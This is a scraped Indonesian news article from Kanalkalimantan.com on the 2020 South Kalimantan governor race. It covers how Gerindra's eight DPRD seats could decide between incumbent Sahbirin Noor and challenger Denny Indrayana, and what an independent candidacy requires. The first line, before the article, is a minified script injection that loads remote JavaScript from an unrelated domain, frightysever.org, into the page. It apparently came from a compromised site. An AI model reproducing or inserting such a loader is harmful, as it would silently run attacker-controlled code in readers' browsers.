(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Partai Gerindra Kalsel nampaknya akan menjadi palagan alias arena terakhir bagi incumbent Sahbirin Noor melawan penantang Denny Indrayana. Suara 8 kursi yang dimiliki partai besutan Prabowo Subianto itu, akan menjadi kunci bagi Sahbirin untuk ‘memborong’ koalisi partai sehingga memaksa Denny beralih ke jalur perseorangan. Sebaliknya, dukungan Gerindra akan menjadi berkah bagi Denny untuk bisa maju lewat jalur partai. Lalu, lobi siapa yang lebih kuat?
Sikap Gerindra di Pilkada 2020 memang ditunggu oleh para kandidat. Tak hanya yang berlaga di Pilgub Kalsel, tetapi juga di Pilkada Kabupaten/Kota lainnya. Suara besar yang dikantongi partai berlambang kepala Garuda ini, cukup menjanjikan bagi kandidat.
Tapi sayangnya, baru di detik-detik akhir menjelang masa pendaftaran parpol di KPU, Gerindra akhirnya membuka diri. Walhasil, terbuka lebarnya pintu Gerindar dimanfaatkan sejumlah kandidat untuk bertarung habis-habisan!
Setelah mantan anggota DPD Sofwat Hadi mengambil formulir, Selasa (29/10) lalu sejumlah kandidat juga melakukan hal sama. Termasuk Gusti Iskandar Sukma Alamsyah.
Dan kabarnya, incumbent Sahbirin Noor yang juga Ketua DPD Golkar Kalsel juga mengambil formulir di Gerindra. Tak terkecuali juga sang penantang, Denny Indrayana yang Kami (31/10) besok akan datang langsung Kantor DPD Partai Gerindra Kalsel di Jalan Achmad Yani Km 13, Gambut, untuk mengambil formulir.
“Rencananya besok siang  Denny Indrayana berencana akan mengambil formulir pendaftaran ke Partai Gerindra,†kata Sekretaris DPD Partai Gerindra Kalsel Ilham Noor.
Hal ini pun dinyatakan Denny, dalam undangan yang disampaikan kepada jurnalis terkait rencana kedatangannya ke Gerindra. “Besok saya akan ambil dan mengembalikan formulir di Gerindara,†kata mantan WamenkumHAM di era Presiden SBY ini.
Denny mengakui, Gerindra memiliki posisi penting di Pilgub Kalsel. Dengan 8 kursi yang dimiliki di DPRD Kalsel, akan menjadi modal besar bagi kandidat untuk bisa meraih kursi tambahan guna mencapai 11 kursi sebagai persyaratan di jalur parpol.
“Tentunya dukungan Gerindra sangat strategis. Saya pribadi menilai ada persamaan visi dan misi dengan Partai Gerindra. Termasuk dengan Haji Abidin selaku ketua partai yang telah teruji dalam meletakkan peran penting Gerindra dalam pembangunan di Kalsel,†kata Denny.
Dengan 8 kursi tersebut, seandainya berhasil didapatkan Denny, maka langkah untuk maju melalui parpol akan lebih ringan. Karena dia tinggal berharap dari sisa kursi dukungan dari partai yang sebelumnya telah dijajaki yakni Demokrat (3 kursi), Nasdem (4 kursi), dan PKS (5 kursi).
“Bagi saya tentu semua partai memiliki posisi startegis. Meski tentu saja, semakin besar kursi yang diperoleh di DPRD maka akan semakin tinggi,†ungkapnya.
Denny mengaku optimis, jika Gerindra bersama sejumlah partai yang telah didatangi beberapa waktu lalu akan menjatuhkan pilihan kepihaknya. “Saya optimis, karena semakin hari dukungan masyarakat juga semakin luas yang menghendaki adanya perbaikan dan perubahan,†katanya.
Terkait lobi di pusat, Denny mengatakan akan melakukan. Tetapi tentunya tetap dengan memperibangkan suara di DPD ataupun DWP partai. Sebab menurutnya, ia menghormati etika politik partai yang akan mengedepankan kebijakan masing-masing parpol untuk melakukan penjaringan secara maksimal.
Sebab dalam hubungan dengan elite Gerindra, Denny Indrayana juga memiliki rekam jejak kedekatan dengan Ketua Umum Prabowo Subianto. Bahkan beberapa waktu lalu, Denny ditunjuk sebagai salah satu kuasa hukum Prabowo terkait guguatan Pilpres di Mahkamah Konstitusi (MK). Meskipun, MK tak mengabulkan gugatan Denny bersama rekannya Bambang Widjojanto.
Harus diakui, kerja keras masih perlu dilakukan Denny Indrayana untuk bisa benar-benar menjadi penantang incumbent. Pertama, ia harus mendapatkan dulu kendaraan politik agar dapat diusung sebagai calon ke KPU.
Saat ini ia masih perlu melakukan gerilya ke sejumlah partai lainnya. Ini tak mudah, sebab beberapa parpol besar seperti PDIP dan Golkar dipastikan sudah merapat ke incumbent. Begitu juga beberapa parpol lain yang sudah condong seperti PAN, PKB, PPP dan Demokrat. Meskipun semua parpol ini masih berebut ‘posisi tawar’ kursi Wagub.
Artinya, untuk bisa maju ke tahap pencalonan, Denny harus juga merangkul partai lain. Beberapa parpol yang belum bersikap hari ini memang bisa didekati. Misalnya saja Partai Gerindra yang meraih 288.899 suara (8 kursi), Partai Keadilan Sejahtera (PKS) 203.223 suara (5 kursi) dan Demokrat 68.725 suara (3 kursi) dan Hanura 16.328 (1 kursi). Tapi perlu diingat, biaya politik untuk bisa diusung parpol tersebut tentunya tidak murah! Sehingga parkar humum Tata Negara ini harus memiliki dana cukup untuk lolos.
Di sisi lain, kubu incumbent Sahbirin Noor, tentu 8 kursi milik Gerindra, akan menggenapi koalisi besar yang dirancang bersama Partai Golkar (12 kursi) dan PDIP (8 kursi) yang sejak awal sudah menyatakan berada di barisan pendukung Sahbirin. Di sisi lain, Nasdem, Demokrat, juga sebelumnya diajak bergabung oleh petahana.
Gerindra Tanpa Syarat?
Saat ini yang menjadi soal adalah, apakah nanti dukungan Gerindra ke kandidat akan dilakukan tanpa syarat atau dengan syarat? Jika dengan syarat, tentunya kandidat harus mempertimbangkan posisi untuk Gerindra. Apakah nantinya wakil gubernur, atau kompensasi lainnya.
Namun sejauh ini, belum terlihat wacana munculnya kader dari Gerindra untuk disodorkan sebagai calon wakil Gubernur. Baik untuk Sahbirin maupun Denny Indrayana. Hal ini berbeda dengan PDIP dan Golkar, yang telah mengajukan sejumlah nama kepada incumbent untuk dipasang sebagai Wakil Gubernur.
Sekretaris DPD Partai Gerindra Kalsel Ilham Nor mengatakan, pihaknya masih menunggu instruksi pusat untuk mencalonkan kader di Pilkada Kalsel. “Nanti pimpinan partai dan DPP Gerindra yang mengarahkan untuk kader maju di pilkada nanti,†katanya.
Ia mengatakan, saat ini partainya masih fokus pada penjaringan yang akan ditutup 15 November nanti. Sesuai mekanise, semua figur yang melamar ke DPP Partai Gerindra Kalsel akan diproses di tingkat daerah, hingga nantinya dikirim ke DPP Partai Gerindra di Jakarta. “Yang menentukan siapa diusung Gerindra ditentukan pusat,†pungkas Ilham.
Plant B Independen
Dibandingkan incumbent Sahbirin Noor yang saat ini sudah memegang ‘kunci’ kendaraan partai untuk maju kembali ke Pilgub Kalsel 2020, Denny Indrayana harus menyiapkan jalur perseorangan jika gagal mendapatkan kendaraan parpol. Denny harus mengumpulkan sebanyak 243.880 KTP hingga 5 Maret 2020 mendatang.
Jika mau aman saat verifikasi oleh KPU, maka setidaknya calon independen harus mengumpulkan sekitar 300 ribuan KTP. Ini tentunya memerlukan biaya, waktu, dan tenaga besar tim untuk membantu mengarsip dukungan tersebut.
Bagaimana tidak, jika penyertaan dukungan KTP harus dengan pernyataan di atas meterai Rp 6.000, maka sudah bisa dihitung 243 ribu x Rp 6.000. Maka akan muncul angka Rp 1,4 miliar lebih. Jika mengambil dukungan aman 300 ribu, maka tinggal dikalikan saja Rp 6.000 hingga hasilnya muncul angka Rp 1,8 miliar. Ya, biaya tersebut hanya untuk urusan materai saja! Meskipun, sampai saat ini masih belu ada keputusan final, jadi tidaknya persyaratan materai tersebut.
Ikhwal beratnya syarat independen, Ketua KPU Kalsel Sarmuji saat ditemui Kanalkalimantan.com, Selasa (15/10) pagi mengatakan, untuk ikut bertarung melalui jalur perseorangan dibutuhkan sedikitnya 8,5 persen dari jumlah daftar pemilih tetap (DPT) di Provinsi Kalsel sebanyak 2.869.166 pemilih. Jika dikalikan, maka jumlah dukungan yang diperlukan sebanyak 243.880 pemilih. “Dari angka itulah jumlah minimal dukungan yang harus diserahkan oleh (calon) perseorangan,†kata Sarmuji beberapa waktu lalu.
Formulir B1-KWK ini nantinya berisi dukungan untuk calon perseorangan yang diisi oleh satu orang, yang ditandatangani dengan materai disertai fotocopy KTP. “Tanggal 28 Oktober sudah bisa ambil formulir itu untuk diisi pemilih yang kemudian di tempel fotocopy KTP-nya,†tambahnya.
Tim calon perseorangan sendiri diberi waktu untuk menyerahkan formulir B1-KWK kepada KPU Kalsel hingga 5 Maret 2020 mendatang. “Setelah 5 Maret, paling lambat penyerahan. Setelah itu kami melakukan verifikasi jumlah dukungan minimal,†katanya.(tim/cel)
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
This website uses cookies.